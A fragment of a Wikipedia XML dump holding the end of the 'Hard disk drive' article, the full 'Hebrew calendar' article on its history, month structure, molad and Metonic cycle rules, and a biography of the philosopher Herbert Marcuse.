*[http://www.microsoft.com/technet/archive/winntas/support/diskover.mspx Windows NT Server Resource Kit: Disk Management Basics] (See section &quot;About Disks and Disk Organization&quot;)
*[http://www.legadoassociates.com/behold.htm Behold the God Box] - Less's Law and future implications of massive cheap hard disk storage
*[http://computer.howstuffworks.com/hard-disk.htm How Hard Disks Work]
*[http://www.digit-life.com/articles2/storage/itogi2005hdd.html Digest 2005 - State of the art hard disk drives in 2005]

[[Category:Computer storage devices]]
[[Category:Rotating disc computer storage media]]
[[Category:Computer storage media]]

[[ar:قرص صلب]]
[[bg:Твърд диск]]
[[bs:Hard disk]]
[[br:Disk kaled]]
[[ca:Disc dur]]
[[cs:Pevný disk]]
[[da:Harddisk]]
[[de:Festplatte]]
[[et:Kõvaketas]]
[[es:Disco duro]]
[[fr:Disque dur]]
[[fy:Fêste skiif]]
[[gl:Disco ríxido]]
[[ko:하드 디스크]]
[[hr:Tvrdi disk]]
[[id:Hard disk]]
[[ia:Disco duro]]
[[it:Hard disk]]
[[he:דיסק קשיח]]
[[lt:Kietasis diskas]]
[[ln:Diski ebómbelo enéne]]
[[hu:Merevlemez]]
[[ms:Cakera keras]]
[[nl:Harde schijf]]
[[nds:Fastplaat]]
[[ja:ハードディスクドライブ]]
[[no:Platelager]]
[[nn:Platelager]]
[[pl:Twardy dysk]]
[[pt:Disco rígido]]
[[ro:Hard-disc]]
[[ru:Жёсткий диск]]
[[sk:Pevný disk]]
[[sl:Trdi disk]]
[[sr:Тврди диск]]
[[fi:Kiintolevy]]
[[sv:Hårddisk]]
[[th:ฮาร์ดดิสก์]]
[[vi:Ổ cứng]]
[[tr:Sabit disk]]
[[uk:Вінчестер (диск)]]
[[zh:硬盘]]</text>
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    <title>Hard disk drive</title>
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    <title>Hebrew Calendar</title>
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  <page>
    <title>Hebrew calendar</title>
    <id>13782</id>
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      <id>42134365</id>
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      <comment>/* Names and lengths of the months */</comment>
      <text xml:space="preserve">The '''Hebrew calendar''' ({{lang-he|הלוח העברי}}) or '''Jewish calendar''' is the annual [[calendar]] used in [[Judaism]]. It determines the dates of the  [[Jewish holidays]], the appropriate [[Torah]] portions for public reading, ''[[Yahrzeit]]s'' (the date to commemorate the death of a relative), and the specific daily [[Psalms]] which some customarily read.  Two major forms of the calendar have been used: an observational form used prior to the [[Siege of Jerusalem (70)|destruction]] of the [[Second Temple]] in [[70]], and based on witnesses observing the phase of the [[moon]], and a rule-based form first fully described by [[Maimonides]] in [[1178]], which was adopted over a transition period between 70 and [[1178]].

The &quot;modern&quot; form is a rule-based [[lunisolar calendar]], akin to the [[Chinese calendar]], measuring months defined in lunar cycles as well as years measured in solar cycles, and distinct from the purely lunar [[Islamic calendar]] and the almost entirely solar [[Gregorian calendar]].  Because of the roughly 11 day difference between twelve lunar months and one [[solar year]], the calendar repeats in a Metonic [[Metonic cycle|19-year cycle of 235 lunar months]], with an extra lunar month added once every two or three years, for a total of seven times every nineteen years.  As the Hebrew calendar was developed in the region east of the [[Mediterranean Sea]], references to seasons reflect the times and climate of the [[Northern Hemisphere]].
==History==
===Biblical period===
[[Image:Beit_Alpha.jpg|250px|thumb|right|Mosaic pavement of a zodiac in the 6th century synagogue at Beit Alpha, Israel.]]
[[Image:DetailOfMedievalHebrewCalendar.jpg|thumb|This figure, in a detail of a medieval Hebrew calendar, reminded Jews of the [[palm tree|palm branch]] ([[Lulav]]), the myrtle twigs, the willow branches, and the [[citron]] ([[Etrog]]) to be held in the hand and to be brought to the synagogue during the holiday of [[sukkot]], near the end of the autumn holiday season.]]
Jews have been using a lunisolar calendar since Biblical times, but originally referred to the months by number rather than name.  Only four pre-exilic month names appear in the [[Tanakh]] (the [[Hebrew Bible]]): ''[[Aviv]]'' (first, literally &quot;Spring&quot;), ''Ziv'' (second), ''Ethanim'' (seventh), and ''Bul'' (eighth), and all are [[Canaan]]ite names, and at least two are also [[Phoenicia]]n.  It is possible that all of the months were initially identifiable by native Jewish numbers or foreign Canaanite/Phoenician names, but other names do not appear in the Bible.

Furthermore, because solar years cannot be divided evenly into lunar months, an extra &quot;embolismic&quot; month must be added to prevent the starting date of the lunar cycles from &quot;drifting&quot; away from the Spring, although there is no mention of this in the Bible.

===Babylonian exile===
During the [[Babylonian exile]], immediately after [[580s BC|586 BCE]], Jews adopted [[Babylon]]ian names for the months, and some sects, such as the [[Essenes]], used a solar calendar during the last two centuries [[Common Era|BCE]].  The [[Babylonian calendar]] was the direct descendant of the [[Sumerian calendar]].

====Names and lengths of the months====
{| class=&quot;wikitable&quot;
|+ '''Hebrew names of the months with their Babylonian analogs'''
! Number 
! Hebrew name
! Length
! Babylonian analog
! Notes
|-
|  1 || [[Nisan]] || 30 days || ''Nisanu'' || called Abib in the Bible
|-
|  2 || [[Iyar]] || 29 days || ''Ayaru'' || called Ziv in the Bible
|-
|  3 || [[Sivan]] || 30 days || ''Simanu'' ||
|-
|  4 || [[Tammuz (month)|Tammuz]] || 29 days || ''Du`uzu'' ||
|-
|  5 || [[Av (month)|Av]] || 30 days || ''Abu'' ||
|-
|  6 || [[Elul]] || 29 days || ''Ululu'' ||
|-
|  7 || [[Tishrei]] || 30 days || ''Tashritu'' ||
|-
|  8 || [[Cheshvan]] || 29 or 30 days || ''Arakhsamna'' || also spelled Heshvan or Marcheshvan
|-
|  9 || [[Kislev]] || 30 or 29 days || ''Kislimu'' || also spelled Chislev
|-
| 10 || [[Tevet]] || 29 days || ''Tebetu'' ||
|-
| 11 || [[Shevat]] || 30 days || ''Shabatu'' ||
|-
| 12 || [[Adar]] || 30 or 29 days || ''Adaru'' || 30 days during leap years
|-
| 13 || [[Adar II]] || 29 days || || Only in leap years
|}

During leap years Adar is the extra month, and has 30 days. Adar II (or Adar Sheni &amp;mdash; second Adar) would then be the &quot;real&quot; Adar, and has 29 days as usual.  For example, in a leap year [[Purim]] is in Adar II, not Adar I.

===Second Temple era===
In [[Second Temple]] times, the beginning of each lunar month was decided by two eyewitnesses testifying to having seen the new crescent moon. Patriarch [[Gamaliel II]] (c. [[100]]) compared these accounts to drawings of the lunar phases. According to tradition, these observations were compared against calculations made by the main Jewish court, the [[Sanhedrin]]. Whether or not an embolismic month (a second Adar) was needed depended on the condition of roads used by families to come to Jerusalem for [[Passover]], on an adequate number of lambs which were to be sacrificed at the Temple, and on the earing of barley needed for first fruits.

Once decided, the beginning of each Hebrew month was first announced to other communities by signal fires lit on mountaintops, but after the [[Samaritan]]s and Boethusaeans began to light false fires, special messengers were used.  The inability of the messengers to reach communities outside [[Israel]] within one day, led outlying communities to celebrate scriptural festivals for two days rather than for one, observing the &quot;second feast-day of the [[Jewish diaspora]].&quot;

From the times of the [[Amora]]im ([[third century|third]] to [[fifth century|fifth centuries]]), calculations were increasingly used, for example by [[Samuel the astronomer]], who stated during the first half of the third century that the year contained 365 ¼ days, and by &quot;calculators of the calendar&quot; ''circa'' [[300]].  Jose, an Amora who lived during the second half of the [[fourth century]], stated that the feast of [[Purim]], 14 Adar, could not fall on a Sabbath nor a Monday, lest 10 Tishri ([[Yom Kippur]]) fall on a Friday or a Sunday. This indicates a fixed number of days in all months from Adar to Elul, also implying that the extra month was already a second Adar added ''before'' the regular Adar.

===Roman Era===
The [[Jewish-Roman wars]] of [[66]]&amp;ndash;[[74]], [[115]]&amp;ndash;[[117]], and [[132]]&amp;ndash;[[135]] caused major disruptions in Jewish life, also disrupting the calendar. During the [[third century|third]] and [[fourth century|fourth centuries]], [[Christian]] sources describe the use of eight, nineteen, and 84 year lunisolar cycles by Jews, all linked to the civil calendars used by various communities of Diaspora Jews, which were effectively isolated from [[Levant]] Jews and their calendar. Some assigned major Jewish festivals to fixed solar calendar dates, whereas others used [[epact]]s to specify how many days before major civil solar dates Jewish lunar months were to begin.

===Alexandrian Jewish calendar===
The [[Ethiopia|Ethiopic]] Christian [[computus]] (used to calculate [[Easter]]) describes in detail a Jewish calendar which must have been used by [[Alexandria]]n Jews near the end of the third century. These Jews formed a relatively new community in the aftermath of the annihilation (by murder or enslavement) of all Alexandrian Jews by Emperor [[Trajan]] at the end of the 115&amp;ndash;117 [[Kitos War]]. Their calendar used the same epacts in nineteen year cycles that were to become canonical in the Easter computus used by almost all medieval Christians, both those in the [[Latin]] West and the [[Hellenism|Hellenist]] East. Only those churches beyond the eastern border of the [[Byzantine Empire]] differed, changing one epact every nineteen years, causing four Easters every 532 years to differ.

===Transition period===
The period between 70 and 1178 was a transition period between the two forms, with the gradual adoption of more and more of the rules characteristic of the modern form. Except for the modern year number, the modern rules reached their final form before [[820]] or [[921]], with some uncertainty regarding when. The modern Hebrew calendar cannot be used to calculate [[Bible|Biblical]] dates because new moon dates may be in error by up to four days, and months may be in error by up to four months.  The latter accounts for the irregular intercalation (adding of extra months) that was performed in three successive years in the early [[second century]], according to the [[Talmud]]. 

====Evidence for adoption of the modern rules====
A popular tradition, first mentioned by [[Hai Gaon]] (d.[[1038]]),  holds that the modern continuous calendar was formerly a secret known only to a council of sages or &quot;calendar committee,&quot; and that Patriarch [[Hillel II]] revealed it in [[359]] due to Christian persecution.  However, the [[Talmud]], which did not reach its final form until c. [[500]], does not mention the continuous calendar or even anything as mundane as either the nineteen-year cycle or the length of any month, despite discussing the characteristics of earlier calendars.

Furthermore, Jewish dates during post-Talmudic times (specifically in 506 and 776) are impossible using modern rules, and all evidence points to the development of the arithmetic rules of the modern calendar in Babylonia during the times of the [[Geonim]] ([[seventh century|seventh]] to [[eighth century|eighth centuries]]), with most of the modern rules in place by about 820, according to the [[Muslim]] astronomer [[al-Khwarizmi]].  One notable difference was the date of the [[epoch (reference date)|epoch]] (the fixed reference point at the beginning of year 1), which at that time was identified as one year later than the epoch of the modern calendar.

====Controversy over the Passover of 4682 AM====
The Babylonian rules required the delay of the first day of Tishri when the [[new moon]] occurred after [[noon]]. 

In [[921]], [[Aaron ben Meir]], a person otherwise unknown, sought to return the authority for the calendar to the [[Land of Israel]] by asserting that the first day of Tishri should be the day of the new moon unless the new moon occurred more than 642 parts after noon, when it should be delayed by one or two days. He may have been asserting that the calendar should be run according to Jerusalem time, not Babylonian. Local time on the Babylonian [[meridian]] is 642 parts later than on the meridian of [[Jerusalem]].

An alternative explanation for the 642 parts is that if [[Creation]] occurred in the [[Autumn]], to coincide with the observance of [[Rosh Hashana]] (which marks the changing of the calendar year), the calculated time of New Moon during the six days of creation was on Friday at 14 hours exactly (counting from the day starting at 6pm the previous evening).  However, if Creation actually occurred six months earlier, in the [[Spring (season)|Spring]], the new moon would have occurred at 9 hours and 642 parts on Wednesday. Ben Meir may thus have believed, along with many earlier Jewish scholars, that creation occurred in Spring and the calendar rules had been adjusted by 642 parts to fit in with an Autumn date;

In any event he was opposed by [[Saadiah Gaon]]. Only a few Jewish communities accepted ben Meir's opinion, and even these soon rejected it.  Accounts of the controversy show that all of the rules of the modern calendar (except for the epoch) were in place before 921.

In [[1000]], the Muslim chronologist [[al-Biruni]] also described all of the modern rules except that he specified three different epochs used by various Jewish communities being one, two, or three years later than the modern epoch. Finally, in 1178 [[Maimonides]] described all of the modern rules, including the modern epochal year.

==When does the year begin?==
According to the [[Mishnah]], there are four new years, in [[Nisan]] for civil purposes, [[Elul]] for certain matters connected with agriculture and the Temple, [[Tishri]] for religious purposes and [[Shevat]] for trees.  The last of these is marked by a minor festival, [[Tu Bishvat]], named after the day it occurs on, the 15th Shevat (ט&quot;ו בשבט).  Months are numbered from Nisan (reflecting the injunction in [[Exodus]] &quot;This month shall be to you the beginning of months&quot;.  However, the New Year is the first of Tishri, when the year number increases by 1 and the formal new year festival [[Rosh Hashana]] is celebrated.  There may be an echo here of a controversy in the [[Talmud]] about whether the world was created in Tishri or Nisan; it was decided that the answer is Tishri.

==Modern calendar==
===Epoch===
The epoch of the modern Hebrew calendar is 1 Tishri AM 1 (AM = [[Anno mundi|''anno mundi'' = in the year of the world]]), which in the [[proleptic Julian calendar]] is Monday, [[October 7]], [[38th century BC|3761 BCE]], the equivalent tabular date (same daylight period).  This date is about one year ''before'' the traditional Jewish [[Dating Creation|date of Creation]] on 25 Elul AM 1.  A minority place Creation on 25 Adar AM 1, six months earlier, or six months after the modern epoch.  Thus adding 3760 to any Julian/Gregorian year number after 1178 will yield the Hebrew year number beginning in autumn (add 3759 for that ending in autumn).  Due to the slow drift of the Jewish calendar relative to the Gregorian calendar, this will be true for about another 20,000 years.

===Measurement of the month===
The Hebrew month is tied to an excellent measurement of the average time taken by the [[Moon]] to cycle from [[lunar conjunction]] to lunar conjunction. Twelve lunar months are about 354 days while the solar year is about 365 days so an extra lunar month is added every two or three years in accordance with a [[Metonic cycle|19-year cycle of 235 lunar months]] (12 regular months every year plus 7 extra or embolismic months every 19 years).  The average Hebrew year length is about 365.2468 days, about 7 minutes longer than the average tropical solar year which is about 365.2422 days.  Approximately every 216 years, those minutes add up so that the Hebrew year is &quot;slower&quot; than the average solar year by a full day.  Because the average Gregorian year is 365.2425 days, the average Hebrew year is slower by a day every 231 Gregorian years. During the last century a number of Jewish scholars suggested that the chief rabbinate in Jerusalem consider modifying this rule to avoid this effect.

===Pattern of calendar years===
There are exactly 14 different patterns that Hebrew calendar years may take.  Each of these patterns is called a &quot;keviyah&quot; ([[Hebrew language|Hebrew]] for &quot;species&quot;), and is distinguished by the day of the week for [[Rosh Hashanah]] of that particular year and by that particular year's length.

*A ''chaserah'' year (Hebrew for &quot;deficient&quot; or &quot;incomplete&quot;) is 353 or 383 days long because a day is taken away from the month of Kislev.  The Hebrew letter ח &quot;het&quot;, and the letter for the weekday denotes this pattern.
*A ''kesidrah'' year (&quot;regular&quot; or &quot;in-order&quot;) is 354 or 384 days long.  The Hebrew letter כ &quot;kaf&quot;, and the letter for the week-day denotes this pattern. 
*A ''shlemah'' year (&quot;abundant&quot; or &quot;complete&quot;) is 355 or 385 days long because a day is added to the month of Heshvan.  The Hebrew letter ש &quot;shin&quot;, and the letter for the week-day denotes this pattern. 

A variant of this pattern of naming includes another letter which specifies the day of the week for the first day of Pesach (Passover) in the year. 

===Measurement of hours===
Every hour is divided into 1080 ''halakim'' or parts. A part is 3&lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;3&lt;/sub&gt; seconds or &lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;18&lt;/sub&gt; minute. The ultimate ancestor of the ''helek'' was a small Babylonian time period called a ''barleycorn'', itself equal to &lt;sup&gt;1&lt;/sup&gt;/&lt;sub&gt;72&lt;/sub&gt; of a Babylonian ''time degree'' (1° of celestial rotation). Actually, the barleycorn or ''she'' was the name applied to the smallest units of all Babylonian measurements, whether of length, area, volume, weight, angle, or time. But by the [[twelfth century]] that source had been forgotten, causing [[Maimonides]] to speculate that there were 1080 parts in an hour because that number was evenly divisible by all numbers from 1 to 10 except 7. But the same statement can be made regarding 360. The weekdays start with Sunday (day 1) and proceed to Saturday (day 7).  Since some calculations use division, a remainder of 0 signifies Saturday.

===Measurement of lunar conjunctions/molads===
The calendar is based on mean lunar conjunctions called &quot;molads&quot; spaced precisely 29 days, 12 hours, and 793 parts apart.  Actual conjunctions vary from the molads by up to 7 hours in each direction due to the nonuniform velocity of the moon.  This value for the interval between molads (the mean synodic month) was measured by Babylonians before [[300 BCE]] and was adopted by the Greek astronomer [[Hipparchus (astronomer)|Hipparchus]] and the Alexandrian astronomer [[Ptolemy]].  Its remarkable accuracy was achieved using records of lunar eclipses from the [[eighth century BC|eighth]] to [[fifth century BC|fifth centuries BCE]]. Measured on a strictly uniform time scale, such as that provided by an [[atomic clock]], the mean synodic month is becoming gradually longer, but since the rotation of the earth is slowing even more the mean synodic month is becoming gradually shorter in terms of the day-night cycle.  The value 29-12-793 was almost exactly correct at the time of [[Hillell II]] and is now about 0.6 s per month too great. However it is still the most correct value possible as long as only whole numbers of parts are used. Especially, it is far more accurate than the average solar year due to the 19-years-235-months equality described above &amp;mdash; the total accumulated error of 29-12-793 from its Babylonian measurement until the present amounts to only about five hours.

===Metonic cycle===
The 19 year cycle has 12 common and 7 leap years.  There are 235 lunar months in each [[Metonic cycle|cycle]].  This gives a total of 6939 days, 16 hours and 595 parts for each cycle.  Due to the vagaries of the Hebrew calendar, 19 Hebrew years can be either 6939, 6940, 6941, or 6942 days each.  To start on the same day of the week, the days in the cycle must be divisible by 7, but none of these values can be so divided.  This keeps the Hebrew calendar from repeating itself too often.  The calendar almost repeats every 247 years, except for an excess of 50 minutes (905 parts).  So the calendar actually repeats every 36,288 cycles (every 689,472 Hebrew years).

Leap years of 13 months are the 3rd, 6th, 8th, 11th, 14th, 17th, and the 19th years beginning at the epoch of the modern calendar. Dividing the Hebrew year number by 19, and looking at the remainder will tell you if the year is a leap year (for the 19th year, the remainder is zero). A Hebrew leap year is one that has 13 months in it, a common year has 12 months.  A mnemonic word in Hebrew is &lt;nowiki&gt;GUCHADZaT&lt;/nowiki&gt; (the Hebrew letters gimel-vav-het aleph-dalet-zayin-tet, i.e. 3, 6, 8, 1, 4, 7, 9.  See [[Hebrew numerals]]). Another mnemonic is that the intervals of the [[major scale]] follow the same pattern as do Hebrew leap years: a [[whole step]] in the scale corresponds to two common years between consecutive leap years, and a [[half step]] to one common between two leap years.

A Hebrew common year will only have 353, 354, or 355 days.  A leap year will have 383, 384, or 385 days.

===Special holiday rules===
Although simple math would calculate 21 patterns for calendar years, there are other limitations which mean that [[Rosh Hashanah]] may only occur on Mondays, Tuesdays, Thursdays, and Saturdays (the &quot;four gates&quot;), according to the following table:

{| class=&quot;wikitable&quot; align=&quot;right&quot; style=&quot;float; margin: 9px;&quot;
! Day of Week 
! colspan=&quot;4&quot; | Number of Days
|-
| Monday || 353 || 355 || 383 || 385
|-
| Tuesday || 354 || &amp;nbsp; || &amp;nbsp; || 384
|-
| Thursday || 354 || 355 || 383 || 385
|-
| Saturday || 353 || 355 || 383 || 385
|}

The lengths are described in the section [[#Names and lengths of the months|Names and lengths of the months]].

In leap years, a 30 day month called Adar I is inserted immediately after the month of Shevat, and the regular 29 day month of Adar is called Adar II. This is done to ensure that the months of the Jewish calendar always fall in roughly the same seasons of the solar year, and in particular that Nisan is always in spring.  Whether either Chesvan or Kislev both have 29 days, or both have 30 days, or one has 29 days and the other 30 days depends upon the number of days needed in each year.  Thus a leap year of 13 months has an average length of 383½ days, so for this reason alone sometimes a leap year needs 383 and sometimes 384 days.  Additionally, adjustments are needed to ensure certain holy days and festivals do or do not fall on certain days of the week in the coming year.  For example, Yom Kippur, on which no work can be done, can never fall on Friday because the high fast could not be broken at sunset &amp;mdash; because the end of Yom Kippur would be the start of the Sabbath, on which no work can be done.  Thus some flexibility has been built in.

The 265 days from the first day of the 29 day month of Adar (i.e. the twelfth month, but the thirteenth month, Adar II, in leap years) and ending with the 29th day of Heshvan forms a fixed length period that has all of the festivals specified in the Bible, such as [[Pesach]] (Nisan 15), [[Shavuot]] (Sivan 6), [[Rosh Hashana]] (Tishri 1), [[Yom Kippur]] (Tishri 10), [[Sukkot]] (Tishri 15), and [[Shemini Atzeret]] (Tishri 22).  

The festival period from Pesach up to and including Shemini Atzeret is exactly 185 days long.  The time from the traditional day of the ''vernal [[equinox]]'' up to and including the traditional day of the ''autumnal equinox'' is also exactly 185 days long.  This has caused some unfounded speculation that Pesach should be [[March 21]], and Shemini Atzeret should be [[September 21]], which are the traditional days for the equinoxes.  Just as the Hebrew day starts at sunset, the Hebrew year starts in the Autumn (Rosh Hashanah), although the mismatch of solar and lunar years will eventually move it to another season if the calendar isn't reformed ''(this will not happen for thousands of years).''

===Karaite interpretation===
[[Karaites]] use the lunar month and the solar year, but determine when to add a leap month by observing the ripening of [[barley]] in [[Israel]], rather than the calculated and fixed calendar of [[Rabbinic Judaism]]. This puts them in sync with the Written [[Torah]], while other Jews are often a month later.  (For several centuries, many Karaites, especially outside Israel, have just followed the calculated dates of the [[Oral Law]] (the [[Mishnah]] and the [[Talmud]]) with other Jews for the sake of simplicity.  However, in recent years most Karaites have choose to again follow the Written [[Torah]] practice.)

==Accuracy==
The average length of the month assumed by the calendar is correct within a fraction of a second (although individual months may be a few hours longer or shorter than average).  There will thus be no significant errors from this source for a very long time.  However, the assumption that 19 [[tropical year]]s exactly equal 235 months is wrong, so the average length of a 19 year cycle is too long (compared with 19 tropical years) by about 0.088 days or just over 2 hours.  Thus on average the calendar gets further out of step with the tropical year by roughly one day in 216 years.  If the intention of the calendar is that Pesach should fall on the ''first'' full moon after the vernal equinox, this is still the case in most years.  However, at present three times in 19 years Pesach is a month late by this criterion (as in [[2005]]).  Clearly, this problem will get worse over time and if the calendar is not amended, Pesach and the other festivals will progress through a complete cycle of seasons in about 79,000 years.

As the 19 year cycle (and indeed all aspects of the calendar) is part of codified Jewish law, it would only be possible to amend it if a [[Sanhedrin]] could be convened.  This will only take place when the rebuilding of the [[Third Temple]] has begun, which will mark the salvation of the [[Hebrews]] according to Jewish belief.  Theoretically, if Jewish law could be modified, one solution would be to replace the 19-year cycle with a 334-year cycle of 4131 lunations. This cycle has an error of only one day in about 11,500 years.  However, this would be impossibly cumbersome in practice.  Further, no fixed rule could be valid in perpetuity, because the lengths of both the month and tropical year are slowly changing.  Another possibility would be to calculate the approximate time of the vernal equinox and have a leap year if and only if Pesach would otherwise start before the vernal equinox.  Similar ideas are used in the [[Chinese calendar]] and some [[Hindu calendar|Indian calendar]]s.

==References==
* ''The Code of Maimonides (Mishneh Torah), Book Three, Treatise Eight: Sanctification of the New Moon''. Translated by Solomon Gandz. Yale Judaica Series Volume '''XI''', Yale University Press, New Haven, Conn., 1956.
* Ernest Wiesenberg. &quot;Appendix: Addenda and Corrigenda to Treatise VIII&quot;. ''The Code of Maimonides (Mishneh Torah), Book Three: The Book of Seasons''. Yale Judaica Series Volume '''XIV''', Yale University Press, New Haven, Conn., 1961. pp.557-602.
* Samuel Poznanski. &quot;Calendar (Jewish)&quot;. ''Encylopædia of Religion and Ethics'', 1911.
* F.H. Woods. &quot;Calendar (Hebrew)&quot;, ''Encylopædia of Religion and Ethics'', 1911.
* Sherrard Beaumont Burnaby. ''Elements of the Jewish and Muhammadan Calendars''.  George Bell and Sons, London, 1901.
* W.H. Feldman. ''Rabbinical Mathematics and Astronomy'',3rd edition, Sepher-Hermon Press, 1978.
* Otto Neugebauer. ''Ethiopic astronomy and computus''. Österreichische Akademie der Wissenschaften, philosophisch-historische klasse, sitzungsberichte '''347'''. Vienna, 1979.
* Ari Belenkiy. &quot;A Unique Feature of the Jewish Calendar &amp;mdash; ''Dehiyot''&quot;. ''Culture and Cosmos'' '''6''' (2002) 3-22.
* Arthur Spier. ''The Comprehensive Hebrew Calendar''. Feldheim, 1986.
* L.A. Resnikoff. &quot;Jewish calendar calculations&quot;, ''Scripta Mathematica'' '''9''' (1943) 191-195, 274-277.
* Edward M. Reingold and Nachum Dershowitz. ''Calendrical Calculations: The Millennium Edition''. Cambridge University Press; 2 edition (July 1, 2001).  ISBN 0521777526

==See also==
* [[Jewish holidays 2000-2050]]

==External links==
*[http://www.angelfire.com/pa2/passover/jewish-calendar-hebrew.html Jewish Calendar] Details various Jewish points-of-view about the history of the Jewish calendar/Hebrew calendar. Includes several charts.
*[http://www.geocities.com/Athens/1584/ Hebrew Calendar Science and Myth] gives complete rules of the Hebrew calendar and a lot more.
*[http://www.crystalinks.com/sumercalendars.html Sumerian astronomy &amp; calendars]
*[http://individual.utoronto.ca/kalendis/hebrew/molad.htm The Molad of the Hebrew calendar]
*[http://www.abcog.org/saadia.htm The Jewish Controversy about Calendar Postponements]
*[http://www.chabad.org/calendar/ Jewish Calendar with Zmanim - Halachic times and date converter] chabad.org
*[http://www-spof.gsfc.nasa.gov/stargaze/Sjewcale.htm Jewish calendar] scientific explanation at the [[NASA]] web site
*[http://endtimepilgrim.org/70wks5.htm The Hebrew Calendar and the metatonic cycles]

====Date converters====
*[http://www.gassner.co.il/jewish-calendar Jewish Calendar for Outlook] - A solution for incorporating Jewish dates and holidays into [[Microsoft Outlook]].
*[http://kaluach.org/ Kaluach - Hebrew/civil calendars]
*[http://www.hebcal.com/converter/ Hebcal Hebrew Date Converter]
*[http://www.abdicate.net/cal.aspx Jewish/Gregorian/Julian Perpetual Calendar Converter] - Also contains a full year view for the Hebrew Calendar.
*[http://www.geocities.com/DafAWeek/HebCal.html Sample VB.Net and Javascript code to convert the Hebrew Date to the Gregorian Date]
*[http://www.chabad.org/calendar/1000year.asp?AID=6225 Use this powerful tool to convert any regular calendar date to its corresponding Jewish-calendar date, or vice versa.]
*[http://www.diagnosis2012.co.uk/conv.htm Gregorian-Mayan-Julian-Islamic-Persian-Hebrew Calendar Converter]

[[Category:Hebrew calendar|*]]

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{{featured article}}</text>
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  <page>
    <title>Herbert Marcuse</title>
    <id>13784</id>
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      <comment>/* Biography and career */</comment>
      <text xml:space="preserve">'''Herbert Marcuse''' ([[July 19]],[[1898]] &amp;ndash; [[July 29]],[[1979]]) was a prominent [[German people|German]]-[[Hyphenated American|American]] [[philosophy|philosopher]] and [[sociology|sociologist]] of [[Jewish]] descent, member of the [[Frankfurt School]]. 

== Biography and career ==

Herbert Marcuse was born in [[Berlin]] to a Jewish family, served in the German Army caring for horses in Berlin during the [[World War I|First World War]]. He then became a member of a Soldiers' Council that participated in the aborted [[Socialism|socialist]] [[Spartacist uprising]], which was ultimately crushed by the forces of the [[Weimar Republic]]. After completing his Ph.D. thesis at the [[University of Freiburg]] in [[1922]] on the Germany [[Kunstlerroman]], he moved back to Berlin, where he worked as a bookseller. He returned to [[Freiburg]] in [[1929]] to write a [[habilitation]] with [[Martin Heidegger]]. In [[1933]], since he would not be allowed to complete that project under the [[Nazis]], Marcuse joined the [[Frankfurt]] [[Institute for Social Research]] run by [[Max Horkheimer]] and [[emigration|emigrated]] from Germany that same year, going first to [[Switzerland]], then the [[United States]], where he became a [[naturalized citizen]] in [[1940]]. 

Although he never returned to Germany to live, he became one of the major theorists of the [[Frankfurt School]], along with [[Max Horkheimer]] and [[Theodor Adorno]].  In [[1940]] he published ''Reason and Revolution'', a dialectical work studying [[Hegel]] and [[Marx]].

During [[World War II]] Marcuse first worked for the [[U.S. Office of War Information]] (OWI) on anti-Nazi propaganda projects. In 1943 he transferred to the [[Office of Strategic Services]] (OSS). His work for the OSS involved research on Nazi Germany and denazification. After the dissolution of the OSS in 1945, Marcuse was employed by the US Department of State until 1951 as head of the Central European bureau, retiring after the death of his wife&lt;!--http://www.marcuse.org/herbert/biog/BioVanguardANBioOnline03z.htm--&gt;.

In [[1952]] he began a  teaching career as a political theorist, first at [[Columbia University]] and [[Harvard]], then at [[Brandeis University]] from [[1958]] to [[1965]], where he was professor of philosophy and politics, and finally (already retirement-age), at the [[University of California, San Diego]]. He was a friend and collaborator of the historical sociologist [[Barrington Moore, Jr.]] and of the political philosopher [[Robert Paul Wolff]]. In the post-war period, he was the most explicitly political and left-wing member of the Frankfurt School, continuing to identify himself as a [[Marxist]], a socialist, and a [[Hegelian]].

Marcuse's critiques of [[capitalist]] society (especially his [[1955]] synthesis of [[Karl Marx|Marx]] and [[Sigmund Freud|Freud]], ''[[Eros and Civilization]]'', and his [[1964]] book ''[[One-Dimensional Man]]'') resonated with the concerns of the leftist student movement in the [[1960s]]. Because of his willingness to speak at student protests, Marcuse soon became known as &quot;the father of the [[New Left]]&quot; (a term he disliked and rejected). His work heavily influenced intellectual discourse on [[popular culture]] and scholarly [[popular culture studies]]. He had many speaking engagements in the US and Europe in the late [[1960s]] and in the [[1970s]]. He died on [[July 29]], [[1979]], after having suffered a stroke during a visit to Germany. Second-generation Frankfurt School theorist [[Jürgen Habermas]] was with him during his final illness.

Many progressive scholars and activists were influenced by him, for example [[Angela Davis]] and [[Abbie Hoffman]]. (See the list in the final link, below.) A fellow German emigre, [[Paul Mattick]], subjected ''One-Dimensional Man'' to a Marxist critique. Marcuse's 1965 essay &quot;Repressive Tolerance&quot;, where he claimed capitalist [[democracy|democracies]] are actually [[totalitarian]] in nature, has been heavily criticised for its argument that all opinions should be tolerated, except conservative ones.
He was not related to the émigré literary scholar [[Ludwig Marcuse]] (1894-1971); but may have been a distant relation of the Berlin sexologist [[Max Marcuse]] (1877-1963).

==Major works==
*''[[Reason and Revolution]]'' ([[1941]])
*''[[Eros and Civilization]]'' ([[1955]])
*''[[Soviet Marxism]]'' ([[1958]])
*''[[One-Dimensional Man]]'' ([[1964]])
*''[[Negations (Marcuse)|Negations]]'' ([[1968]])
*''[[An Essay on Liberation]]'' ([[1969]])
*''[[Counter-Revolution and Revolt]]'' ([[1972]])
*''[[The Aesthetic Dimension]]'' ([[1978]])

==See also==
*[[Georg Lukács]]
*[[Walter Benjamin]]
*[[Theodor Adorno]]
*[[Max Horkheimer]]
*[[Erich Fromm]]
*[[Jürgen Habermas]]

==External links==
{{wikiquote}}
{{Commons|Herbert Marcuse}}
*[http://www.marcuse.org/herbert/index.html Comprehensive 'Official' Herbert Marcuse Website], by one of Marcuse's grandsons, with full bibliographies of primary and secondary works, and full texts of many important works
*[http://www.worldsocialism.org/wsm-pages/marcuse.html Excellent narrative biography by A. Buick], at worldsocialism.org
*[http://www.gseis.ucla.edu/faculty/kellner/Illumina%20Folder/marc.htm Detailed intellectual biography and essays], by Douglas Kellner, Marcuse scholar at UCLA
* [http://www.marxists.org/reference/archive/marcuse/index.htm &quot;Herbert Marcuse (on-line) Archive&quot;] at marxists.org
* [http://www.marxists.org/reference/archive/marcuse/works/eros-civilisation/index.htm Eros and Civilization (1955)] text excerpts online at marxists.org
*[http://www.marcuse.org/herbert/pubs/onedim/odmcontents.html One-Dimensional Man (1964)], complete text online at marcuse.org
*[http://www.marcuse.org/herbert/pubs/60spubs/65repressivetolerance.htm Repressive Tolerance (1965)], complete text online at marcuse.org
